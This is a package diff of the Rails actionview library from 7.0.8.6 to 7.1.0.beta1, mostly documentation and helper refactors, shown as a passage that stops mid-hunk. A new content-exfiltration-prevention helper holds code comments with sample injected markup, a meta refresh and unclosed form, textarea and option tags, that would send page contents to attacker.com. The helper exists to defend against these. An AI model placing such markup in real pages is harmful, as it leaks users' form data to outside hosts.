actionview 7.0.8.6 → 7.1.0.beta1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/CHANGELOG.md +235 -387
- data/MIT-LICENSE +1 -1
- data/README.rdoc +1 -1
- data/app/assets/javascripts/rails-ujs.esm.js +668 -0
- data/app/assets/javascripts/rails-ujs.js +606 -0
- data/lib/action_view/base.rb +28 -7
- data/lib/action_view/buffers.rb +106 -8
- data/lib/action_view/cache_expiry.rb +40 -43
- data/lib/action_view/context.rb +1 -1
- data/lib/action_view/deprecator.rb +7 -0
- data/lib/action_view/digestor.rb +1 -1
- data/lib/action_view/gem_version.rb +4 -4
- data/lib/action_view/helpers/active_model_helper.rb +1 -1
- data/lib/action_view/helpers/asset_tag_helper.rb +130 -46
- data/lib/action_view/helpers/asset_url_helper.rb +6 -5
- data/lib/action_view/helpers/atom_feed_helper.rb +5 -5
- data/lib/action_view/helpers/cache_helper.rb +3 -9
- data/lib/action_view/helpers/capture_helper.rb +24 -10
- data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
- data/lib/action_view/helpers/controller_helper.rb +6 -0
- data/lib/action_view/helpers/csp_helper.rb +2 -2
- data/lib/action_view/helpers/csrf_helper.rb +2 -2
- data/lib/action_view/helpers/date_helper.rb +17 -19
- data/lib/action_view/helpers/debug_helper.rb +3 -3
- data/lib/action_view/helpers/form_helper.rb +43 -18
- data/lib/action_view/helpers/form_options_helper.rb +2 -1
- data/lib/action_view/helpers/form_tag_helper.rb +43 -9
- data/lib/action_view/helpers/javascript_helper.rb +1 -0
- data/lib/action_view/helpers/number_helper.rb +2 -1
- data/lib/action_view/helpers/output_safety_helper.rb +2 -2
- data/lib/action_view/helpers/rendering_helper.rb +1 -1
- data/lib/action_view/helpers/sanitize_helper.rb +33 -14
- data/lib/action_view/helpers/tag_helper.rb +5 -27
- data/lib/action_view/helpers/tags/base.rb +11 -52
- data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
- data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
- data/lib/action_view/helpers/tags/collection_select.rb +3 -0
- data/lib/action_view/helpers/tags/date_field.rb +1 -1
- data/lib/action_view/helpers/tags/date_select.rb +2 -0
- data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
- data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
- data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
- data/lib/action_view/helpers/tags/month_field.rb +1 -1
- data/lib/action_view/helpers/tags/select.rb +3 -0
- data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
- data/lib/action_view/helpers/tags/time_field.rb +1 -1
- data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
- data/lib/action_view/helpers/tags/week_field.rb +1 -1
- data/lib/action_view/helpers/tags/weekday_select.rb +3 -0
- data/lib/action_view/helpers/tags.rb +2 -0
- data/lib/action_view/helpers/text_helper.rb +32 -16
- data/lib/action_view/helpers/translation_helper.rb +3 -3
- data/lib/action_view/helpers/url_helper.rb +41 -14
- data/lib/action_view/helpers.rb +2 -0
- data/lib/action_view/layouts.rb +4 -2
- data/lib/action_view/log_subscriber.rb +49 -32
- data/lib/action_view/lookup_context.rb +29 -13
- data/lib/action_view/path_registry.rb +57 -0
- data/lib/action_view/path_set.rb +13 -14
- data/lib/action_view/railtie.rb +26 -3
- data/lib/action_view/record_identifier.rb +15 -8
- data/lib/action_view/renderer/abstract_renderer.rb +1 -1
- data/lib/action_view/renderer/collection_renderer.rb +9 -1
- data/lib/action_view/renderer/partial_renderer/collection_caching.rb +2 -1
- data/lib/action_view/renderer/partial_renderer.rb +2 -1
- data/lib/action_view/renderer/renderer.rb +2 -0
- data/lib/action_view/renderer/streaming_template_renderer.rb +3 -2
- data/lib/action_view/renderer/template_renderer.rb +3 -2
- data/lib/action_view/rendering.rb +22 -4
- data/lib/action_view/ripper_ast_parser.rb +6 -6
- data/lib/action_view/template/error.rb +14 -1
- data/lib/action_view/template/handlers/builder.rb +4 -4
- data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
- data/lib/action_view/template/handlers/erb.rb +73 -1
- data/lib/action_view/template/handlers.rb +1 -1
- data/lib/action_view/template/html.rb +1 -1
- data/lib/action_view/template/raw_file.rb +1 -1
- data/lib/action_view/template/renderable.rb +1 -1
- data/lib/action_view/template/resolver.rb +10 -2
- data/lib/action_view/template/text.rb +1 -1
- data/lib/action_view/template/types.rb +25 -34
- data/lib/action_view/template.rb +179 -52
- data/lib/action_view/template_path.rb +2 -0
- data/lib/action_view/test_case.rb +8 -5
- data/lib/action_view/unbound_template.rb +15 -5
- data/lib/action_view/version.rb +1 -1
- data/lib/action_view/view_paths.rb +15 -24
- data/lib/action_view.rb +4 -1
- metadata +29 -29
@@ -3,8 +3,9 @@
|
|
3
3
|
require "zlib"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Asset URL Helpers
|
7
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Asset URL \Helpers
|
8
|
+
#
|
8
9
|
# This module provides methods for generating asset paths and
|
9
10
|
# URLs.
|
10
11
|
#
|
@@ -16,8 +17,8 @@ module ActionView
|
|
16
17
|
#
|
17
18
|
# === Using asset hosts
|
18
19
|
#
|
19
|
-
# By default, Rails links to these assets on the current host in the public
|
20
|
-
# folder, but you can direct Rails to link to assets from a dedicated asset
|
20
|
+
# By default, \Rails links to these assets on the current host in the public
|
21
|
+
# folder, but you can direct \Rails to link to assets from a dedicated asset
|
21
22
|
# server by setting <tt>ActionController::Base.asset_host</tt> in the application
|
22
23
|
# configuration, typically in <tt>config/environments/production.rb</tt>.
|
23
24
|
# For example, you'd define <tt>assets.example.com</tt> to be your asset
|
@@ -196,7 +197,7 @@ module ActionView
|
|
196
197
|
source = "#{source}#{extname}"
|
197
198
|
end
|
198
199
|
|
199
|
-
|
200
|
+
unless source.start_with?(?/)
|
200
201
|
if options[:skip_pipeline]
|
201
202
|
source = public_compute_asset_path(source, options)
|
202
203
|
else
|
@@ -372,7 +373,7 @@ module ActionView
|
|
372
373
|
# image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
|
373
374
|
#
|
374
375
|
# If you have images as application resources this method may conflict with their named routes.
|
375
|
-
# The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
|
376
|
+
# The alias +path_to_image+ is provided to avoid that. \Rails uses the alias internally, and
|
376
377
|
# plugin authors are encouraged to do so.
|
377
378
|
def image_path(source, options = {})
|
378
379
|
path_to_asset(source, { type: :image }.merge!(options))
|
@@ -3,8 +3,8 @@
|
|
3
3
|
require "set"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Atom Feed Helpers
|
7
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Atom Feed \Helpers
|
8
8
|
module AtomFeedHelper
|
9
9
|
# Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
|
10
10
|
# template languages).
|
@@ -82,9 +82,9 @@ module ActionView
|
|
82
82
|
# end
|
83
83
|
#
|
84
84
|
# The Atom spec defines five elements (content rights title subtitle
|
85
|
-
# summary) which may directly contain
|
85
|
+
# summary) which may directly contain XHTML content if type: 'xhtml'
|
86
86
|
# is specified as an attribute. If so, this helper will take care of
|
87
|
-
# the enclosing div and
|
87
|
+
# the enclosing div and XHTML namespace declaration. Example usage:
|
88
88
|
#
|
89
89
|
# entry.summary type: 'xhtml' do |xhtml|
|
90
90
|
# xhtml.p pluralize(order.line_items.count, "line item")
|
@@ -102,7 +102,7 @@ module ActionView
|
|
102
102
|
options[:schema_date] = "2005" # The Atom spec copyright date
|
103
103
|
end
|
104
104
|
|
105
|
-
xml = options.delete(:xml) ||
|
105
|
+
xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
|
106
106
|
xml.instruct!
|
107
107
|
if options[:instruct]
|
108
108
|
options[:instruct].each do |target, attrs|
|
@@ -134,7 +134,7 @@ module ActionView
|
|
134
134
|
end
|
135
135
|
|
136
136
|
private
|
137
|
-
# Delegate to
|
137
|
+
# Delegate to XML Builder, first wrapping the element in an XHTML
|
138
138
|
# namespaced div element if the method and arguments indicate
|
139
139
|
# that an xhtml_block? is desired.
|
140
140
|
def method_missing(method, *arguments, &block)
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View Cache Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View Cache \Helpers
|
6
6
|
module CacheHelper
|
7
7
|
class UncacheableFragmentError < StandardError; end
|
8
8
|
|
@@ -281,14 +281,8 @@ module ActionView
|
|
281
281
|
controller.read_fragment(name, options)
|
282
282
|
end
|
283
283
|
|
284
|
-
def write_fragment_for(name, options)
|
285
|
-
|
286
|
-
yield
|
287
|
-
output_safe = output_buffer.html_safe?
|
288
|
-
fragment = output_buffer.slice!(pos..-1)
|
289
|
-
if output_safe
|
290
|
-
self.output_buffer = output_buffer.class.new(output_buffer)
|
291
|
-
end
|
284
|
+
def write_fragment_for(name, options, &block)
|
285
|
+
fragment = output_buffer.capture(&block)
|
292
286
|
controller.write_fragment(name, fragment, options)
|
293
287
|
end
|
294
288
|
|
@@ -3,18 +3,22 @@
|
|
3
3
|
require "active_support/core_ext/string/output_safety"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Capture Helper
|
7
6
|
module Helpers # :nodoc:
|
8
|
-
#
|
7
|
+
# = Action View Capture \Helpers
|
8
|
+
#
|
9
|
+
# \CaptureHelper exposes methods to let you extract generated markup which
|
9
10
|
# can be used in other parts of a template or layout file.
|
10
11
|
#
|
11
|
-
# It provides a method to capture blocks into variables through capture and
|
12
|
-
# a way to capture a block of markup for use in a layout through
|
12
|
+
# It provides a method to capture blocks into variables through #capture and
|
13
|
+
# a way to capture a block of markup for use in a layout through #content_for.
|
14
|
+
#
|
15
|
+
# As well as provides a method when using streaming responses through #provide.
|
16
|
+
# See ActionController::Streaming for more information.
|
13
17
|
module CaptureHelper
|
14
|
-
# The capture method extracts part of a template as a
|
18
|
+
# The capture method extracts part of a template as a string object.
|
15
19
|
# You can then use this object anywhere in your templates, layout, or helpers.
|
16
20
|
#
|
17
|
-
# The capture method can be used in ERB templates...
|
21
|
+
# The capture method can be used in \ERB templates...
|
18
22
|
#
|
19
23
|
# <% @greeting = capture do %>
|
20
24
|
# Welcome to my shiny new web page! The date and time is
|
@@ -40,11 +44,18 @@ module ActionView
|
|
40
44
|
#
|
41
45
|
# @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
|
42
46
|
#
|
43
|
-
def capture(*args)
|
47
|
+
def capture(*args, &block)
|
44
48
|
value = nil
|
45
|
-
|
46
|
-
|
47
|
-
|
49
|
+
@output_buffer ||= ActionView::OutputBuffer.new
|
50
|
+
buffer = @output_buffer.capture { value = yield(*args) }
|
51
|
+
|
52
|
+
case string = buffer.presence || value
|
53
|
+
when OutputBuffer
|
54
|
+
string.to_s
|
55
|
+
when ActiveSupport::SafeBuffer
|
56
|
+
string
|
57
|
+
when String
|
58
|
+
ERB::Util.html_escape(string)
|
48
59
|
end
|
49
60
|
end
|
50
61
|
|
@@ -172,6 +183,8 @@ module ActionView
|
|
172
183
|
# concatenate several times to the same buffer when rendering a given
|
173
184
|
# template, you should use +content_for+, if not, use +provide+ to tell
|
174
185
|
# the layout to stop looking for more contents.
|
186
|
+
#
|
187
|
+
# See ActionController::Streaming for more information.
|
175
188
|
def provide(name, content = nil, &block)
|
176
189
|
content = capture(&block) if block_given?
|
177
190
|
result = @view_flow.append!(name, content) if content
|
@@ -179,6 +192,7 @@ module ActionView
|
|
179
192
|
end
|
180
193
|
|
181
194
|
# <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
|
195
|
+
#
|
182
196
|
# Useful to render parts of your layout differently based on what is in your views.
|
183
197
|
#
|
184
198
|
# <%# This is the layout %>
|
@@ -0,0 +1,70 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module ActionView
|
4
|
+
module Helpers
|
5
|
+
module ContentExfiltrationPreventionHelper
|
6
|
+
mattr_accessor :prepend_content_exfiltration_prevention, default: false
|
7
|
+
|
8
|
+
# Close any open attributes before each form tag. This prevents attackers from
|
9
|
+
# injecting partial tags that could leak markup offsite.
|
10
|
+
#
|
11
|
+
# For example, an attacker might inject:
|
12
|
+
#
|
13
|
+
# <meta http-equiv="refresh" content='0;URL=https://attacker.com?
|
14
|
+
#
|
15
|
+
# The HTML following this tag, up until the next single quote would be sent to
|
16
|
+
# +https://attacker.com+. By closing any open attributes, we ensure that form
|
17
|
+
# contents are never exfiltrated this way.
|
18
|
+
CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
|
19
|
+
|
20
|
+
# Close any open tags that support CDATA (textarea, xmp) before each form tag.
|
21
|
+
# This prevents attackers from injecting unclosed tags that could capture
|
22
|
+
# form contents.
|
23
|
+
#
|
24
|
+
# For example, an attacker might inject:
|
25
|
+
#
|
26
|
+
# <form action="https://attacker.com"><textarea>
|
27
|
+
#
|
28
|
+
# The HTML following this tag, up until the next <tt></textarea></tt> or
|
29
|
+
# the end of the document would be captured by the attacker's
|
30
|
+
# <tt><textarea></tt>. By closing any open textarea tags, we ensure that
|
31
|
+
# form contents are never exfiltrated.
|
32
|
+
CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
|
33
|
+
|
34
|
+
# Close any open option tags before each form tag. This prevents attackers
|
35
|
+
# from injecting unclosed options that could leak markup offsite.
|
36
|
+
#
|
37
|
+
# For example, an attacker might inject:
|
38
|
+
#
|
39
|
+
# <form action="https://attacker.com"><option>
|
40
|
+
#
|
41
|
+
# The HTML following this tag, up until the next <tt></option></tt> or the
|
42
|
+
# end of the document would be captured by the attacker's
|
43
|
+
# <tt><option></tt>. By closing any open option tags, we ensure that form
|
44
|
+
# contents are never exfiltrated.
|
45
|
+
CLOSE_OPTION_TAG = "</option>".html_safe.freeze
|
46
|
+
|
47
|
+
# Close any open form tags before each new form tag. This prevents attackers
|
48
|
+
# from injecting unclosed forms that could leak markup offsite.
|
49
|
+
#
|
50
|
+
# For example, an attacker might inject:
|
51
|
+
#
|
52
|
+
# <form action="https://attacker.com">
|
53
|
+
#
|
54
|
+
# The form elements following this tag, up until the next <tt></form></tt>
|
55
|
+
# would be captured by the attacker's <tt><form></tt>. By closing any open
|
56
|
+
# form tags, we ensure that form contents are never exfiltrated.
|
57
|
+
CLOSE_FORM_TAG = "</form>".html_safe.freeze
|
58
|
+
|
59
|
+
CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
|
60
|
+
|
61
|
+
def prevent_content_exfiltration(html)
|
62
|
+
if prepend_content_exfiltration_prevention
|
63
|
+
CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
|
64
|
+
else
|
65
|
+
html
|
66
|
+
end
|
67
|
+
end
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
@@ -4,6 +4,8 @@ require "active_support/core_ext/module/attr_internal"
|
|
4
4
|
|
5
5
|
module ActionView
|
6
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Controller \Helpers
|
8
|
+
#
|
7
9
|
# This module keeps all methods and behavior in ActionView
|
8
10
|
# that simply delegates to the controller.
|
9
11
|
module ControllerHelper # :nodoc:
|
@@ -20,6 +22,10 @@ module ActionView
|
|
20
22
|
@_request = controller.request if controller.respond_to?(:request)
|
21
23
|
@_config = controller.config.inheritable_copy if controller.respond_to?(:config)
|
22
24
|
@_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
|
25
|
+
else
|
26
|
+
@_request ||= nil
|
27
|
+
@_config ||= nil
|
28
|
+
@_default_form_builder ||= nil
|
23
29
|
end
|
24
30
|
end
|
25
31
|
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View CSP Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View CSP \Helpers
|
6
6
|
module CspHelper
|
7
7
|
# Returns a meta tag "csp-nonce" with the per-session nonce value
|
8
8
|
# for allowing inline <script> tags.
|
@@ -11,7 +11,7 @@ module ActionView
|
|
11
11
|
# <%= csp_meta_tag %>
|
12
12
|
# </head>
|
13
13
|
#
|
14
|
-
# This is used by the Rails UJS helper to create dynamically
|
14
|
+
# This is used by the \Rails UJS helper to create dynamically
|
15
15
|
# loaded inline <script> elements.
|
16
16
|
#
|
17
17
|
def csp_meta_tag(**options)
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View CSRF Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View CSRF \Helpers
|
6
6
|
module CsrfHelper
|
7
7
|
# Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
|
8
8
|
# request forgery protection parameter and token, respectively.
|
@@ -16,7 +16,7 @@ module ActionView
|
|
16
16
|
#
|
17
17
|
# You don't need to use these tags for regular forms as they generate their own hidden fields.
|
18
18
|
#
|
19
|
-
# For
|
19
|
+
# For Ajax requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
|
20
20
|
# +X-CSRF-Token+ HTTP header. If you are using rails-ujs, this happens automatically.
|
21
21
|
#
|
22
22
|
def csrf_meta_tags
|
@@ -10,7 +10,7 @@ require "active_support/core_ext/object/with_options"
|
|
10
10
|
|
11
11
|
module ActionView
|
12
12
|
module Helpers # :nodoc:
|
13
|
-
# = Action View Date Helpers
|
13
|
+
# = Action View \Date \Helpers
|
14
14
|
#
|
15
15
|
# The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
|
16
16
|
# elements. All of the select-type methods share a number of common options that are as follows:
|
@@ -72,7 +72,7 @@ module ActionView
|
|
72
72
|
# distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
|
73
73
|
# distance_of_time_in_words(Time.now, Time.now) # => less than a minute
|
74
74
|
#
|
75
|
-
# With the <tt>scope</tt> option, you can define a custom scope for Rails
|
75
|
+
# With the <tt>scope</tt> option, you can define a custom scope for \Rails
|
76
76
|
# to look up the translation.
|
77
77
|
#
|
78
78
|
# For example you can define the following in your locale (e.g. en.yml).
|
@@ -217,7 +217,7 @@ module ActionView
|
|
217
217
|
# * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
|
218
218
|
# customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
|
219
219
|
# select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
|
220
|
-
# the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
|
220
|
+
# the respective locale (e.g. [:year, :month, :day] in the en locale that ships with \Rails).
|
221
221
|
# * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
|
222
222
|
# dates.
|
223
223
|
# * <tt>:default</tt> - Set a default date if the affected date isn't set or is +nil+.
|
@@ -320,6 +320,10 @@ module ActionView
|
|
320
320
|
# # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM.
|
321
321
|
# time_select 'game', 'game_time', { ampm: true }
|
322
322
|
#
|
323
|
+
# # You can set :ignore_date option to true which will remove the hidden inputs for day,
|
324
|
+
# # month, and year that are set by default on this helper when you only want the time inputs
|
325
|
+
# time_select 'game', 'game_time', { ignore_date: true }
|
326
|
+
#
|
323
327
|
# The selects are prepared for multi-parameter assignment to an Active Record object.
|
324
328
|
#
|
325
329
|
# Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
|
@@ -844,14 +848,14 @@ module ActionView
|
|
844
848
|
if @options[:use_hidden] || @options[:discard_year]
|
845
849
|
build_hidden(:year, val)
|
846
850
|
else
|
847
|
-
options
|
848
|
-
options[:start]
|
849
|
-
options[:end]
|
850
|
-
options[:step]
|
851
|
-
|
852
|
-
|
853
|
-
|
854
|
-
if (options[:end] - options[:start]).abs >
|
851
|
+
options = {}
|
852
|
+
options[:start] = @options[:start_year] || middle_year - 5
|
853
|
+
options[:end] = @options[:end_year] || middle_year + 5
|
854
|
+
options[:step] = options[:start] < options[:end] ? 1 : -1
|
855
|
+
|
856
|
+
max_years_allowed = @options[:max_years_allowed] || 1000
|
857
|
+
|
858
|
+
if (options[:end] - options[:start]).abs > max_years_allowed
|
855
859
|
raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
|
856
860
|
end
|
857
861
|
|
@@ -936,7 +940,7 @@ module ActionView
|
|
936
940
|
#
|
937
941
|
# month_name(1) # => 1
|
938
942
|
#
|
939
|
-
# If the <tt>:
|
943
|
+
# If the <tt>:use_two_digit_numbers</tt> option is passed:
|
940
944
|
#
|
941
945
|
# month_name(1) # => '01'
|
942
946
|
#
|
@@ -1076,17 +1080,11 @@ module ActionView
|
|
1076
1080
|
end
|
1077
1081
|
|
1078
1082
|
# Build select option HTML for year.
|
1079
|
-
#
|
1083
|
+
#
|
1080
1084
|
# build_year_options(1998, start: 1998, end: 2000)
|
1081
1085
|
# => "<option value="1998" selected="selected">1998</option>
|
1082
1086
|
# <option value="1999">1999</option>
|
1083
1087
|
# <option value="2000">2000</option>"
|
1084
|
-
#
|
1085
|
-
# If <tt>year_format</tt> option is passed
|
1086
|
-
# build_year_options(1998, start: 1998, end: 2000, year_format: ->year { "Heisei #{ year - 1988 }" })
|
1087
|
-
# => "<option value="1998" selected="selected">Heisei 10</option>
|
1088
|
-
# <option value="1999">Heisei 11</option>
|
1089
|
-
# <option value="2000">Heisei 12</option>"
|
1090
1088
|
def build_year_options(selected, options = {})
|
1091
1089
|
start = options.delete(:start)
|
1092
1090
|
stop = options.delete(:end)
|
@@ -3,10 +3,10 @@
|
|
3
3
|
require "action_view/helpers/tag_helper"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Debug Helper
|
7
|
-
#
|
8
|
-
# Provides a set of methods for making it easier to debug Rails objects.
|
9
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Debug \Helpers
|
8
|
+
#
|
9
|
+
# Provides a set of methods for making it easier to debug \Rails objects.
|
10
10
|
module DebugHelper
|
11
11
|
include TagHelper
|
12
12
|
|
@@ -13,8 +13,9 @@ require "active_support/core_ext/string/output_safety"
|
|
13
13
|
require "active_support/core_ext/string/inflections"
|
14
14
|
|
15
15
|
module ActionView
|
16
|
-
# = Action View Form Helpers
|
17
16
|
module Helpers # :nodoc:
|
17
|
+
# = Action View Form \Helpers
|
18
|
+
#
|
18
19
|
# Form helpers are designed to make working with resources much easier
|
19
20
|
# compared to using vanilla HTML.
|
20
21
|
#
|
@@ -28,7 +29,7 @@ module ActionView
|
|
28
29
|
# when the form is initially displayed, input fields corresponding to attributes
|
29
30
|
# of the resource should show the current values of those attributes.
|
30
31
|
#
|
31
|
-
# In Rails, this is usually achieved by creating the form using +form_for+ and
|
32
|
+
# In \Rails, this is usually achieved by creating the form using +form_for+ and
|
32
33
|
# a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
|
33
34
|
# tag and yields a form builder object that knows the model the form is about.
|
34
35
|
# Input fields are created by calling methods defined on the form builder, which
|
@@ -122,7 +123,7 @@ module ActionView
|
|
122
123
|
# of a specific model object.
|
123
124
|
#
|
124
125
|
# The method can be used in several slightly different ways, depending on
|
125
|
-
# how much you wish to rely on Rails to infer automatically from the model
|
126
|
+
# how much you wish to rely on \Rails to infer automatically from the model
|
126
127
|
# how the form should be constructed. For a generic model object, a form
|
127
128
|
# can be created by passing +form_for+ a string or symbol representing
|
128
129
|
# the object we are concerned with:
|
@@ -251,7 +252,7 @@ module ActionView
|
|
251
252
|
# form is going to be sent. However, further simplification is possible
|
252
253
|
# if the record passed to +form_for+ is a _resource_, i.e. it corresponds
|
253
254
|
# to a set of RESTful routes, e.g. defined using the +resources+ method
|
254
|
-
# in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
|
255
|
+
# in <tt>config/routes.rb</tt>. In this case \Rails will simply infer the
|
255
256
|
# appropriate URL from the record itself. For example,
|
256
257
|
#
|
257
258
|
# <%= form_for @post do |f| %>
|
@@ -438,7 +439,7 @@ module ActionView
|
|
438
439
|
model = nil
|
439
440
|
object_name = record
|
440
441
|
else
|
441
|
-
model =
|
442
|
+
model = record
|
442
443
|
object = _object_for_form_builder(record)
|
443
444
|
raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
|
444
445
|
object_name = options[:as] || model_name_from_record_or_class(object).param_key
|
@@ -465,13 +466,12 @@ module ActionView
|
|
465
466
|
|
466
467
|
as = options[:as]
|
467
468
|
namespace = options[:namespace]
|
468
|
-
action
|
469
|
+
action = object.respond_to?(:persisted?) && object.persisted? ? :edit : :new
|
469
470
|
options[:html] ||= {}
|
470
471
|
options[:html].reverse_merge!(
|
471
472
|
class: as ? "#{action}_#{as}" : dom_class(object, action),
|
472
473
|
id: (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
|
473
474
|
)
|
474
|
-
options[:method] ||= method
|
475
475
|
end
|
476
476
|
private :apply_form_for_options!
|
477
477
|
|
@@ -497,7 +497,7 @@ module ActionView
|
|
497
497
|
# <%= form.text_field :title %>
|
498
498
|
# <% end %>
|
499
499
|
# # =>
|
500
|
-
# <form method="post"
|
500
|
+
# <form method="post">
|
501
501
|
# <input type="text" name="title">
|
502
502
|
# </form>
|
503
503
|
#
|
@@ -556,7 +556,7 @@ module ActionView
|
|
556
556
|
# is a _resource_. It corresponds to a set of RESTful routes, most likely
|
557
557
|
# defined via +resources+ in <tt>config/routes.rb</tt>.
|
558
558
|
#
|
559
|
-
# So when passing such a model record, Rails infers the URL and method.
|
559
|
+
# So when passing such a model record, \Rails infers the URL and method.
|
560
560
|
#
|
561
561
|
# <%= form_with model: @post do |form| %>
|
562
562
|
# ...
|
@@ -619,12 +619,12 @@ module ActionView
|
|
619
619
|
# * <tt>:local</tt> - Whether to use standard HTTP form submission.
|
620
620
|
# When set to <tt>true</tt>, the form is submitted via standard HTTP.
|
621
621
|
# When set to <tt>false</tt>, the form is submitted as a "remote form", which
|
622
|
-
# is handled by Rails UJS as an XHR. When unspecified, the behavior is derived
|
622
|
+
# is handled by \Rails UJS as an XHR. When unspecified, the behavior is derived
|
623
623
|
# from <tt>config.action_view.form_with_generates_remote_forms</tt> where the
|
624
624
|
# config's value is actually the inverse of what <tt>local</tt>'s value would be.
|
625
|
-
# As of Rails 6.1, that configuration option defaults to <tt>false</tt>
|
625
|
+
# As of \Rails 6.1, that configuration option defaults to <tt>false</tt>
|
626
626
|
# (which has the equivalent effect of passing <tt>local: true</tt>).
|
627
|
-
# In previous versions of Rails, that configuration option defaults to
|
627
|
+
# In previous versions of \Rails, that configuration option defaults to
|
628
628
|
# <tt>true</tt> (the equivalent of passing <tt>local: false</tt>).
|
629
629
|
# * <tt>:skip_enforcing_utf8</tt> - If set to true, a hidden input with name
|
630
630
|
# utf8 is not output.
|
@@ -757,10 +757,14 @@ module ActionView
|
|
757
757
|
|
758
758
|
if model
|
759
759
|
if url != false
|
760
|
-
url ||=
|
760
|
+
url ||= if format.nil?
|
761
|
+
polymorphic_path(model, {})
|
762
|
+
else
|
763
|
+
polymorphic_path(model, format: format)
|
764
|
+
end
|
761
765
|
end
|
762
766
|
|
763
|
-
model = _object_for_form_builder(model)
|
767
|
+
model = convert_to_model(_object_for_form_builder(model))
|
764
768
|
scope ||= model_name_from_record_or_class(model).param_key
|
765
769
|
end
|
766
770
|
|
@@ -1312,7 +1316,7 @@ module ActionView
|
|
1312
1316
|
# ...
|
1313
1317
|
# <% end %>
|
1314
1318
|
#
|
1315
|
-
# because parameter name repetition is precisely what Rails seeks to distinguish
|
1319
|
+
# because parameter name repetition is precisely what \Rails seeks to distinguish
|
1316
1320
|
# the elements of the array. For each item with a checked check box you
|
1317
1321
|
# get an extra ghost item with only that attribute, assigned to "0".
|
1318
1322
|
#
|
@@ -1495,6 +1499,12 @@ module ActionView
|
|
1495
1499
|
# datetime_field("user", "born_on", min: "2014-05-20T00:00:00")
|
1496
1500
|
# # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
|
1497
1501
|
#
|
1502
|
+
# By default, provided datetimes will be formatted including seconds. You can render just the date, hour,
|
1503
|
+
# and minute by passing <tt>include_seconds: false</tt>.
|
1504
|
+
#
|
1505
|
+
# @user.born_on = Time.current
|
1506
|
+
# datetime_field("user", "born_on", include_seconds: false)
|
1507
|
+
# # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="2014-05-20T14:35" />
|
1498
1508
|
def datetime_field(object_name, method, options = {})
|
1499
1509
|
Tags::DatetimeLocalField.new(object_name, method, self, options).render
|
1500
1510
|
end
|
@@ -1611,6 +1621,8 @@ module ActionView
|
|
1611
1621
|
end
|
1612
1622
|
end
|
1613
1623
|
|
1624
|
+
# = Action View Form Builder
|
1625
|
+
#
|
1614
1626
|
# A +FormBuilder+ object is associated with a particular model object and
|
1615
1627
|
# allows you to generate fields associated with the model object. The
|
1616
1628
|
# +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
|
@@ -2075,6 +2087,18 @@ module ActionView
|
|
2075
2087
|
# DateHelper that are designed to work with an object as base, like
|
2076
2088
|
# FormOptionsHelper#collection_select and DateHelper#datetime_select.
|
2077
2089
|
#
|
2090
